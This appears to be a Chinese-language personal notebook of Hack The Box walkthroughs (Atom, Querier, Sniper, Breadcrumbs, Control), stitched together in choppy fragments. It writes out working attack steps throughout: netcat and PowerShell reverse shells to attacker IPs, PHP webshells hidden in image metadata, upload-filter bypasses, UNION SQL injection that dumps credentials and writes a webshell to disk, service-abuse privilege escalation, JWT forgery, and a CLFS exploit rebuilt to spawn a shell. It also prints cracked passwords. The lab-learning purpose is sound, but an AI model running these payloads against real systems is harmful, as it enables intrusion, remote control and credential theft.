搜索“CVE-2023-28252 POC”可以找到来自 fortra 的此存储库。它有大量关于公共日志文件系统中的漏洞利用的详细信息。
该存储库有一个 VS 项目文件,因此我将其克隆到我的 Windows 计算机并在 Visual Studio 中打开它。POC 相当长,但在第 1491-1502 行,它检查它是否作为系统运行,然后启动notepad.exe
:
我将替换为来自revshells.comnotepad.exe
的 PowerShell #3 (Base64) :
现在我将构建它。将其设置为发布版本非常重要,否则它将需要 Aero 上没有的某些库。如果我看到有关无法转换字符串类型的错误,如下所示:
我可以通过进入项目设置(clfs_eop
在解决方案资源管理器中右键单击并转到“属性”)来修复此问题,在“配置属性”>“高级”下将“字符集”设置为“使用多字节字符集”。现在关于“重建解决方案”:
我将使用 Python Web 服务器 ( python3 -m http.server 80
) 托管该文件,然后使用 PowerShell 请求该文件:
PS C:\Users\sam.emerson\documents> iwr http://10.10.14.6/clfs_eop.exe -outfile clfs_eop.exe PS C:\Users\sam.emerson\documents> ls
现在我运行漏洞利用:
PS C:\Users\sam.emerson\documents> .\c.exe
nc -lvnp 9001
Atom
┌──(kali㉿kali)-[~/atom] └─$ shasum -a 512 up'date.exe | cut -d " " -f1 | xxd -r -p | base64 VuQnE40qqkhwLYqeXyaAJUisRZsbOkLTaS7mXCihNWEkicSWqwZxX+ihXiX1Secyc4fBVvLcbaIr RhRUhKXRtA==
1j6MyYLtoIB2xb/Bre5ZrvxGQDRwLk1uI9CjqTfsBL5mQlLbdiPxgN+996zUe6ceovJyUpVfnGNJPDDI/jnjvg==
什么是一.cfg 文件? 具有.cfg 扩展名的文件是一种“设置"文件。 它是一种常用的文件类型,用于存储有关计算机程序配置和设置的信息。 大多数类型的CFG 文件都以文本格式存储,不应手动打开,而应使用文本编辑器打开。
这看起来像一个JSON
数据,将其保存在本地的文件中并使用jq
.
cat configFile.cfg | jq . | head
-
登录时使用的加密密码
RedisServer
:Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb
我们先尝试破解密码,然后再重点关注redis
。
搜索portablekanban如何解密码
PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval - Windows local Exploit
#!/usr/bin/python3
import base64 from des import * #pip3 install des
def decode(hash): hash = base64.b64decode(hash.encode('utf-8')) key = DesKey(b'7ly6UznJ') return key.decrypt(hash, initial=b'XuVUm5fR', padding=True).decode('utf-8')
print(decode("Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"))
或者,我们可以从服务的配置文件中找到密码。
type *.conf | findstr pass
密码是kidvscat_yes_kidvscat
6379 - Pentesting Redis | HackTricks | HackTricks redis使用
┌──(root💀f4T1H)-[~/hackthebox/atom/privesc] └─> redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 10.10.10.237:6379> ping PONG 10.10.10.237:6379> info keyspace
db0:keys=4,expires=0,avg_ttl=0 10.10.10.237:6379> select 0 OK 10.10.10.237:6379> keys *
-
"pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
-
"pk:ids:User"
-
"pk:ids:MetaDataClass"
-
"pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0" 10.10.10.237:6379> get "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1617420120000-0700)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-621355968000000000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637530169345346438}"
10.10.10.237:6379> get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0" {"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}" 10.10.10.237:6379>
-
我们用于连接到远程服务器并使用我们找到的密码登录的第一个命令。
-
连接后,
ping
命令用于测试连接是否仍然有效,或测量延迟。 -
之后我们查看了关键的数据库,也是
select
唯一的数据库。 -
然后
keys
在里面列出了。 -
最后阅读密钥的内容。
也可以利用上面的代码解密
evil-winrm -i 10.10.10.237 -u administrator -p 'kidvscat_admin_@123'
Querier
'xx xx xx.xlsm' 与 xx\ xx\ xx.xlsm
但像( oletoolsolevba
的一部分)这样的工具将为我提供 Linux 计算机上的 VBA
olevba Currency\ Volume\ Report.xlsm
记得查一下windows中office如何开启hong
由此,我可以获得用于连接的用户名(“reporting”)和密码(“PcwTWTHRwryjc$c6”)。
只有这个可以用
常规枚举没有什么信息
responder -I tun0
接下来,我将发出连接以使用xp_dirtree
主机上的 SMB 共享(不存在)加载文件:
SQL> xp_dirtree '\\10.10.16.4\a'; subdirectory depth ------------- -----------
它不会返回任何内容,但在响应程序窗口中,我捕获了必要的信息:
在responder中有ntlm值
hashcat破解
使用用户名“mssql-src”和密码“corporate568”,我现在可以使用新的凭据登录:
root@kali# mssqlclient.py mssql-svc:'corporate568'@10.10.10.125 -windows-auth
通过访问 mssql-svc 帐户,我对数据库拥有更多权限:
查询权限语句
SQL> SELECT * FROM fn_my_permissions(NULL, 'SERVER');
它仍然不允许我运行xp_cmdshell
运行命令的命令:
SQL> xp_cmdshell whoami
请注意,运行命令的实际语法是EXEC xp_cmdshell '[command]';
. 但是,我用来连接的客户端mssqlclient.py
有一个内置命令来运行命令xp_cmdshell
,所以我只需键入xp_cmdshell [command]
。
作为 mssql-svc,我可以启用xp_cmdshell
(作为报告我无法做到的事情)。就像运行命令一样,脚本中有一个别名可以执行此操作。完整的命令是(来自微软的文档):
-- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1; GO -- To update the currently configured value for advanced options. RECONFIGURE; GO -- To enable the feature. EXEC sp_configure 'xp_cmdshell', 1; GO -- To update the currently configured value for this feature. RECONFIGURE; GO
shell 的别名有效:
SQL> enable_xp_cmdshell [*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. [*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL> xp_cmdshell whoami output -------------------------------------------------------------------------------- querier\mssql-svc NULL
root@kali# smbserver.py -smb2support a smb/
靶机
xp_cmdshell \10.10.16.4\a\nc64.exe -e cmd.exe 10.10.16.4 443
rlwrap nc -lnvp 443
Windows 上最好的枚举脚本之一PowerUp.ps1
来自PowerSploit。要在这里运行它,我将在 smb 共享中创建它的副本:
root@kali# cp /opt/PowerSploit/Privesc/PowerUp.ps1 smb/
shellnc
足够稳定,可以加载交互式 PowerShell 会话:
C:\Users\mssql-svc\Desktop>powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Users\mssql-svc\Desktop> whoami querier\mssql-svc
Windows 有时会从文件共享加载 PowerShell 脚本时出现问题,但我可以移动到临时文件,将文件复制到那里,然后导入它:
PS C:\Users\mssql-svc\Desktop> cd ..\appdata\local\temp PS C:\Users\mssql-svc\appdata\local\temp> xcopy \\10.10.14.14\a\PowerUp.ps1 . xcopy \\10.10.14.14\a\PowerUp.ps1 . \\10.10.14.14\a\PowerUp.ps1 1 File(s) copied PS C:\Users\mssql-svc\appdata\local\temp> . .\PowerUp.ps1 . .\PowerUp.ps1
现在我可以运行它Invoke-AllChecks
:
PS C:\Users\mssql-svc\appdata\local\temp> Invoke-AllChecks Privilege : SeImpersonatePrivilege Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED TokenHandle : 2212 ProcessId : 192 Name : 192 Check : Process Token Privileges ServiceName : UsoSvc Path : C:\Windows\system32\svchost.exe -k netsvcs -p StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc' CanRestart : True Name : UsoSvc Check : Modifiable Services ModifiablePath : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps IdentityReference : QUERIER\mssql-svc Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...} %PATH% : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps Name : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps Check : %PATH% .dll Hijacks AbuseFunction : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll' UnattendPath : C:\Windows\Panther\Unattend.xml Name : C:\Windows\Panther\Unattend.xml Check : Unattended Install Files Changed : {2019-01-28 23:12:48} UserNames : {Administrator} NewName : [BLANK] Passwords : {MyUnclesAreMarioAndLuigi!!1!} File : C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml Check : Cached GPP Files
这里有很多有趣的东西,我将在 Beyond Root 中花一些时间来研究这些东西。现在,我将跳到最明显的结果,即用户名/密码组合为“Administrator”/“MyUnclesAreMarioAndLuigi!!1!”的 GPP 密码文件。
wmiexec.py 'administrator:MyUnclesAreMarioAndLuigi!!1!@10.10.10.125'
多种提权学习
PowerUp显示了通往 SYSTEM 的五种潜在路径:
-
SeImpersonatePrivilege
-
Modifiable Service - UsoSvc
-
%PATH% .dll Hijacks
-
Unattended Install Files
-
Cached GPP Files
RIP Juicy Potato(多汁土豆修复了兔子洞)
看来微软可能已经修复了Server 2019 中从 SeImpresonate 到 SYSTEM 的路径,这就是该主机的内容:
看来微软可能已经修复了Server 2019 中从 SeImpresonate 到 SYSTEM 的路径,这就是该主机的内容:
PS C:\Users\mssql-svc\Desktop> gwmi win32_operatingsystem | % caption Microsoft Windows Server 2019 Standard
所以这是一个死胡同。
Unattended Install Files
Jumping to the fourth item, there can be passwords in unattended.xml
files. Unfortunately for me, not in these:
不是这个文件的passwd
PS C:\windows\panther> type unattend.xml | findstr /i password type unattend.xml | findstr /i password <Password>*SENSITIVE*DATA*DELETED*</Password> <Password>*SENSITIVE*DATA*DELETED*</Password>
可修改的服务滥用(Unattended Install Files)
binPath 是一个必需的服务参数,用于指定服务二进制文件的路径。如果任何服务配置了不正确的权限并提供对服务配置的未经授权的访问,攻击者可以利用此错误配置并通过binPath参数执行任意命令。
运行的一件事Invoke-AllChecks
是Get-ModifiableService
命令行开关。它:
枚举所有服务并返回当前用户可以修改 binPath 的服务。
当我在上面运行时,这会产生以下输出Invoke-AllChecks
:
ServiceName : UsoSvc Path : C:\Windows\system32\svchost.exe -k netsvcs -p StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc' CanRestart : True Name : UsoSvc Check : Modifiable Services
他们建议跑步Invoke-ServiceAbuse
。我将看一下这个函数的源代码。它将启用该服务(如果尚未启用),并备份当前的服务二进制文件。然后它将设置服务运行输入命令,运行服务,等待,然后停止服务,并恢复原始二进制文件。
PS C:\Users\mssql-svc\AppData\Local\Temp> Invoke-ServiceAbuse -Name 'UsoSvc' -Command "\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443" Invoke-ServiceAbuse -Name 'UsoSvc' -Command "\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443" ServiceAbused Command ------------- ------- UsoSvc \\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443
并以 SYSTEM 身份获取 shell:
root@kali# nc -lvnp 443 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.10.10.125. Ncat: Connection from 10.10.10.125:49682. Microsoft Windows [Version 10.0.17763.292] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system
然而,因为脚本是用来运行命令然后停止服务的,所以它很快就会死掉(即使它试图让它们继续运行,它nc64.exe
不是服务二进制文件,所以它会很快死掉)。我可以用来msfvenom
创建一个服务二进制文件,或者我可以让第一个 shellnc
再次执行。nc
即使它的父进程死了,这个新进程也会继续存在:
root@kali# nc -lvnp 443 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.10.10.125. Ncat: Connection from 10.10.10.125:49686. Microsoft Windows [Version 10.0.17763.292] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 444 \\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 444
我还可以让PowerUp
命令添加一个管理员用户,或者安排一个任务每分钟运行nc
并连接回我。这两个命令都会快速运行并完成,不会出现任何问题。
sniper
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.16.4\test\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/<\/html>/,/<\/body>/p'
HTB: Sniper | 0xdf hacks stuff
HTB: Sniper | 0xdf hacks stuff
window的远程文件包含
.chm文件提权root
BreadCrumbs
JSON Web Tokens - jwt.io jwt令牌解密网站
exiftool -Comment=’<?php echo “<pre>”;system($_GET[“cmd”]); ?>’
主要知识点
文件包含漏洞
让我们前往网页http://10.10.10.228/。我们显示以下网页:
一般渗透网站,一边dirb扫描目录
点击check books 前往http: //10.10.10.228/php/books.php
在这里搜索会返回标题中包含输入的书籍(看起来它在两边都附加了通配符)。an
在标题中搜索返回:
单击“Book”按钮会加载包含更多详细信息的叠加层:
任何时候文件名被列为参数时,都值得寻找文件包含和目录遍历和/或文件包含漏洞。将此请求发送到 Burp Repeater,如果我将其更改为book=.
,它会返回错误:
这边就有了文件包含漏洞,可以用来查看后端文件,先放着可能后面有用
jwt令牌构建
访问/portal目录
这是一个登录页面,显示有关该网页是我们的 IP 地址的受限域的消息。提供了一个联系助手的链接:http://10.10.10.228/portal/php/admins.php
此页面显示当前哪个管理员/帮助程序处于活动状态。
让我们回到门户网站,注册并探索更多内容。
我们看到“文件管理”,这看起来很有趣。当我们尝试访问它时,我们会被重定向回仪表板。也许是因为分配的角色不允许我们访问它。让我们转到“用户管理”来查找所有可用的用户。
在这里我们可以看到“paul”、“alex”、“jack”是管理员。如果我们看到上面的内容,我们可以看到其中只有保罗具有“活跃”状态。现在我们的目标是以“paul”身份登录。我们还注意到,登录后会创建两个 cookie。
经过分析,我们发现“令牌”是一个JWT令牌,而“PHPSESSID”奇怪地包含我们的用户名。JWT 令牌包含以下信息:
下一步需要寻找secret key ,想到上面的文件包含
现在我们可以尝试模拟管理员“paul”,但我们需要 JWT 密钥,并且还需要了解如何生成“PHPSESSID”?
快速获取源代码脚本
#!/usr/bin/env python3 import requests import sys if len(sys.argv) != 2: print(f"[-] Usage: {sys.argv[0]} [path]") sys.exit() resp = requests.post('http://10.10.10.228/includes/bookController.php', data = {'book': f'../{sys.argv[1]}', 'method': '1'}) print(bytes(resp.text, "utf-8").decode('unicode_escape').strip('"'))
我可以运行它来获取页面的源代码:
这里将代码复制参考
/portal/includes/fileController.php 中找到了 paul 的 JWT“secret”
利用它构建令牌
/portal/cookie.php 中找到了创建“PHPSESSID”的代码
cookie.php 使用用户名生成随机 cookie,添加一行,然后使用用户名“paul”调用函数 makesession 来获取其 cookie。
复制到本地后运行,当我们运行此代码时,它会为我们提供用于用户“paul”的 cookie
现在我们拥有了“paul”的 JWT 令牌和 PHPSESSID,让我们更改浏览器中的 cookie,看看它是否有效。我使用Cookie 编辑器来处理 cookie。
现在只需保存更改,然后重新加载页面即可。我们现在已通过 Paul 身份验证!并具有管理员权限。
文件上传
访问“文件管理”
创建了一个简单的 PHP 文件,其中包含以下代码。
<?php echo “<pre>”;system($_GET[“cmd”]); ?>
会被ban了
第一种绕过
该网页显示警告并公开用于处理文件上传的文件,即\portal\includes\fileController.php以及文件将上传的位置,即\uploads。由于不允许使用 .php 文件,因此我们构建一个恶意图像文件。
exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' 2.jpeg
添加数据后,我们可以在图片的注释部分查看PHP代码
上传时,在burp中拦截请求,并在请求末尾将.zip扩展名更改为.php。这样服务器就会将其保存为PHP文件,PHP代码就可以被服务器处理并执行。
文件已成功上传。
第二种绕过
shell_exec
代替system
:
<?php $out=shell_exec($_REQUEST['cmd']); echo "<pre>$out</pre>"; ?>
反弹shell
nishang(失败)
我将从NishangInvoke-PowerShellTcpOneLine.ps1
获取并使用我的 IP 地址更新它,然后对其进行 base64 编码,以便 PowerShell 可以运行它:
oxdf@parrot$ cp /opt/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 . oxdf@parrot$ vim Invoke-PowerShellTcpOneLine.ps1 oxdf@parrot$ cat Invoke-PowerShellTcpOneLine.ps1 | iconv -t utf-16le | base64 -w0 JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdA。。。。
我尝试将其传递给 webshell,但没有返回任何 shell,也没有返回任何内容:
oxdf@parrot$ curl http://10.10.10.204:8080/portal/uploads/shell.php --data-urlencode "cmd=powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABl。。。。。。。。。。。。
鉴于我已经体验过 Defender 在该主机上捕捉到的东西,看来这个 Nishang shell 也很可能被阻止。
powershell -enc用来执行base64编码的语句
powershell -c直接执行
nc.exe成功
我将启动一个 Python Web 服务器托管nc64.exe
,然后使用 PowerShell 获取它wget
:
oxdf@parrot$ curl http://10.10.10.228/portal/uploads/shell.php --data-urlencode "cmd=powershell -c wget 10.10.14.13/nc64.exe -outfile C:\programdata\nc64.exe"
现在用 shell 连接回来:
oxdf@parrot$ curl http://10.10.10.228/portal/uploads/shell.php --data-urlencode "cmd=C:\programdata\nc64.exe 10.10.14.13 443 -e powershell"
在我的聆听中nc
(rlwrap
在 Windows 上获取向上箭头历史记录和更好的终端):
oxdf@parrot$ sudo rlwrap nc -lnvp 443
ssh连接
进行枚举
在PS C:\xampp\htdocs\portal\pizzaDeliveryUserData>目录下发现一些用户的json文件,juliette.json中有密码
对于朱丽叶来说,有以下值:
{ "pizza" : "margherita", "size" : "large", "drink" : "water", "card" : "VISA", "PIN" : "9890", "alternate" : { "username" : "juliette", "password" : "jUli901./())!", } }
sshpass -p 'jUli901./())!' ssh juliette@10.10.10.228
提权root
粘滞便笺数据
在根目录中C:\
有两个非标准文件夹,Anouncements
和Development
。第一个包含一个包含一些公告的文件:
朱丽叶无权访问Development
.
在 juliette 的桌面上,有一个todo.html
(因为 juliette 是那种在 HTML 表格中用 CSS 制作列表的人):
<html> <style> html{ background:black; color:orange; } table,th,td{ border:1px solid orange; padding:1em; border-collapse:collapse; } </style> <table> <tr> <th>Task</th> <th>Status</th> <th>Reason</th> </tr> <tr> <td>Configure firewall for port 22 and 445</td> <td>Not started</td> <td>Unauthorized access might be possible</td> </tr> <tr> <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td> <td>In progress</td> <td>It stores passwords in plain text</td> </tr> <tr> <td>Add new features to password manager</td> <td>Not started</td> <td>To get promoted, hopefully lol</td> </tr> </table> </html>
我已经在端口 22 上。是时候查看粘滞便笺和密码管理器了。
一些谷歌搜索显示粘滞便笺数据 Sticky Notes data is stored存储在%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
,并且位于该靶机上
PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> ls Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/15/2021 4:10 PM 20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session -a---- 11/29/2020 3:10 AM 4096 plum.sqlite -a---- 1/15/2021 4:10 PM 32768 plum.sqlite-shm -a---- 1/15/2021 4:10 PM 329632 plum.sqlite-wal
该-wal
文件是预写日志 (WAL) 文件。这用于实现原子提交和回滚。该-shm
文件是数据库的共享内存文件,为访问数据库的多个进程提供内存。这三个文件对于获取数据至关重要。如果我只获取该.sqlite
文件,它将显示为空。
有趣的是,如果我将所有三个都带到我的机器上,打开数据库,进行任何类型的查询,然后退出,因为现在没有进程拥有数据库的句柄,它将把它们全部保存到一个文件中.sqlite
。
我将使用 启动本地 SMB 服务器smbserver.py share . -smb2support
,然后将文件复制到新共享:
copy plum* \10.10.14.13\share\
kali
file plum.sqlite
我将使用打开数据库sqlite3 plum.sqlite
。它有一些表:
sqlite> .tables Media Stroke SyncState User Note StrokeMetadata UpgradedNote
只有Note
桌子上有一些有趣的东西。它有一堆列:
sqlite> .schema Note CREATE TABLE IF NOT EXISTS "Note" ( "Text" varchar , "WindowPosition" varchar , "IsOpen" integer , "IsAlwaysOnTop" integer , "CreationNoteIdAnchor" varchar , "Theme" varchar , "IsFutureNote" integer , "RemoteId" varchar , "ChangeKey" varchar , "LastServerVersion" varchar , "RemoteSchemaVersion" integer , "IsRemoteDataInvalid" integer , "Type" varchar , "Id" varchar primary key not null , "ParentId" varchar , "CreatedAt" bigint , "DeletedAt" bigint , "UpdatedAt" bigint );
这是Text
我关心的,它包含密码:
sqlite> select Text from Note; \id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())! \id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g \id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]
我已经有了 juliette 的密码,不过很高兴看到这个密码匹配。发展是新的。(当然)管理员已经不存在了。
Krypter_Linux二进制文件
juliette 可以访问共享Anouncements
,但不能访问Development
共享:
oxdf@parrot$ smbmap -H 10.10.10.228 -u juliette -p 'jUli901./())!'
development具有对以下内容的读取权限Development
:
oxdf@parrot$ smbmap -H 10.10.10.228 -u development -p 'fN3)sN5Ee@g'
里面有个文件Krypter_Linux ,获取到本地
该二进制文件是未剥离的 x64 ELF:
oxdf@parrot$ file Krypter_Linux Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped
运行二进制文件会对其进行一些更新:
oxdf@parrot$ ./Krypter_Linux Krypter V1.2 New project by Juliette. New features added weekly! What to expect next update: - Windows version with GUI support - Get password from cloud and AUTOMATICALLY decrypt! *** No key supplied. USAGE: Krypter <key>
他的执行需要密钥
cat Krypter_Linux
我们可以在这个二进制文件中看到一个链接:
http://passmanager.htb:1234/index.phpmethod=select&username=administrator&table=passwords
端口转发
1.Now let us use port forwarding to connect to port 1234.
ssh -N -L 1234:127.0.0.1:1234 development@10.10.10.228
Now if we curl http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords we receive an AES key in the response.
2.端口转发也可以利用chisel
上传它,在本地启动服务器,然后连接回它:
c.exe client 10.10.14.13:8000 R🔢127.0.0.1:1234
在服务器上:
./chisel_1.7.6_linux_amd64 server -p 8000 --reverse
3.还有一种就是
curl.exe
在 Breadcrumbs 上使用,无需任何转发:
juliette@BREADCRUMBS C:\ProgramData>curl "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords" selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(16) "k19D193j.<19391(" } }
sql注入
这个链接看起来像是有sql注入
curl "http://passmanager.htb:1234/index.php?method=select&username=administrator'&table=passwords"
在administratoe后面加个'试试
是有的
可以用sqlmap跑
这是别人的思想
curl "http://passmanager.htb:1234/index.php" -d "method=select&username=' UNION SELECT 1;-- -&table=passwords" selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(1) "1" } }
现在我可以用它来获取数据。列出 DBs 以查看只有两个:
curl -s "http://passmanager.htb:1234/index.php" -d "method=select&username=' UNION SELECT schema_name from information_schema.schemata;-- -&table=passwords" | grep string | cut -d'"' -f2 information_schema bread
数据库bread
只有一张表passwords
:
curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT table_name from information_schema.tables where table_schema='bread';-- -&table=passwords" | grep string | cut -d'"' -f2 passwords
该表有四列:
curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT column_name from information_schema.columns where table_name='passwords';-- -&table=passwords" | grep string | cut -d'"' -f2 id account password aes_key
获取所有数据:
curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT concat_ws(', ',id,account,password,aes_key) from passwords;-- -&table=passwords" | grep string | cut -d'"' -f2 1, Administrator, H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=, k19D193j.<19391(
利用Cyberchef:解密
sshpass -p 'p@ssw0rd!@#$9890./' ssh administrator@10.10.10.228
console
对HTTP头进行FUZZ
查看源代码
在 Web 根目录的源代码顶部有一个注释块:
<!-- To Do: - Import Products - Link to new payment system - Enable SSL (Certificates location \\192.168.4.28\myfiles) <!-- Header -->
这暗示主机 192.168.4.28 上有东西
该页面说我需要通过代理,并且缺少标头。我发现此页面包含 HTTP 标头列表,并将该列表提取到文本文件中
现在我将用它来wfuzz
看看添加这些是否会改变任何东西。我运行了一次,发现有关无法访问的消息有 89 个字符,因此我将添加--hh 89
到命令的末尾。最初我使用主机IP运行它:
root@kali# wfuzz -c -w headers -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89
--hh 89
:通过 HTTP 响应代码过滤响应,在本例中,仅显示状态代码为 89 的响应。
“X-Forwarded-For”上的 HTTP 200 返回 7933 个字符当然很有趣。我下载了一个名为“修改标头值”的 Firefox 插件(我以前没有这样做的东西,这个还可以,但如果你有更好的工具,请发表评论),并将其设置为添加“X-Forwarded” -For” 控制头:
刷新后可以访问admin.php页面了
也可以利用bp设置
sql写文件反弹shell
有个输入框,尝试' 报错了,开始注入试试
手工
sql注入备忘表MySQL SQL Injection Cheat Sheet | pentestmonkey 记得回来看
' UNION select 1,2,3,4,5,6#
' UNION select @@version,user(),database(),4,5,6#
' union select schema_name,2,3,4,5,6 from information_schema.schemata#
查看三个数据库
查看它的表productName=Asus' union select table_schema,table_name,3,4,5,6 from information_schema.tables where table_schema != 'mysql' AND table_schema != 'information_schema'#
这些表中没有什么有趣的东西
' UNION select host,user,password,4,5,6 from mysql.user# 获得一些hash
看看不同用户的权限
' union select table_schema,table_name,3,4,5,6 from information_schema.tables where table_schema='information_schema'#
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges#
当前的用户拥有 FILE priv,我将在盒子上编写一个 webshell。我将发出以下 POST,它应该打印出 webshell:
productName=Asus' union select '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6#
它确实写了我想要的内容,但毫不奇怪,它不会执行它,因为它只是作为文本打印到屏幕上
现在,我可以运行相同的 SQL 命令,但这次将其写入文件,并猜测默认的 IIS 路径:
productName=Asus' union select '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6 into outfile 'c:/inetpub/wwwroot/_0xdf.php'# 第一次返回错误,第二次说文件已经存在
curl '10.10.10.167/_0xdf.php?cmd=powershell+wget+http://10.10.16.3/nc64.exe+-outfile+\windows\temp\nc.exe'
curl -s 'http://10.10.10.167/_0xdf.php?cmd=whoami'
反弹
curl '10.10.10.167/_0xdf.php?cmd=powershell+wget+http://10.10.14.4/nc 64.exe+-outfile+\windows\temp\nc.exe'
sqlmap写shell
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --dbs
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --users
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --passwords
看用户有什么权限
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --privileges
试试可不可读取index.php的文件
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --sql-query="select load_file('c:\inetpub\wwwroot/index.php');"
尝试写文件
sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --file-write=kali中的写的webshell --file-dest="c:\inetpub\wwwroot\xxx.php"(写入靶机的文件,名字随便)
密码重复如何利用powershell提权
利用hashcat破解上面的得到的hash值
hashcat -m 300 hashes --user /usr/share/wordlists/rockyou.txt --force
l33th4x0rhector
可能会有重复使用密码的情况
现在我将创建一个凭证对象:
PS C:\> $env:ComputerName CONTROL PS C:\> $username = "CONTROL\hector" PS C:\> $password = "l33th4x0rhector" PS C:\> $secstr = New-Object -TypeName System.Security.SecureString PS C:\> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)} PS C:\> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
现在我将使用Invoke-Command
hector 来运行命令,它可以工作:
PS C:\> Invoke-Command -Computer localhost -Credential $cred -ScriptBlock { whoami } control\hector
由于某种原因,赫克托无法访问nc.exe
我上传到的\windows\temp
,但我将上传另一个副本,然后运行它:
PS C:\> wget 10.10.14.4/nc64.exe -outfile \windows\system32\spool\drivers\color\nc64.exe PS C:\> Invoke-Command -credential $cred -ScriptBlock { \windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.4 443 } -computer localhost
rlwrap nc -lnvp 443
提升root(查看powershell历史文件)
不太会就不搞了,
Tally
sharepoint
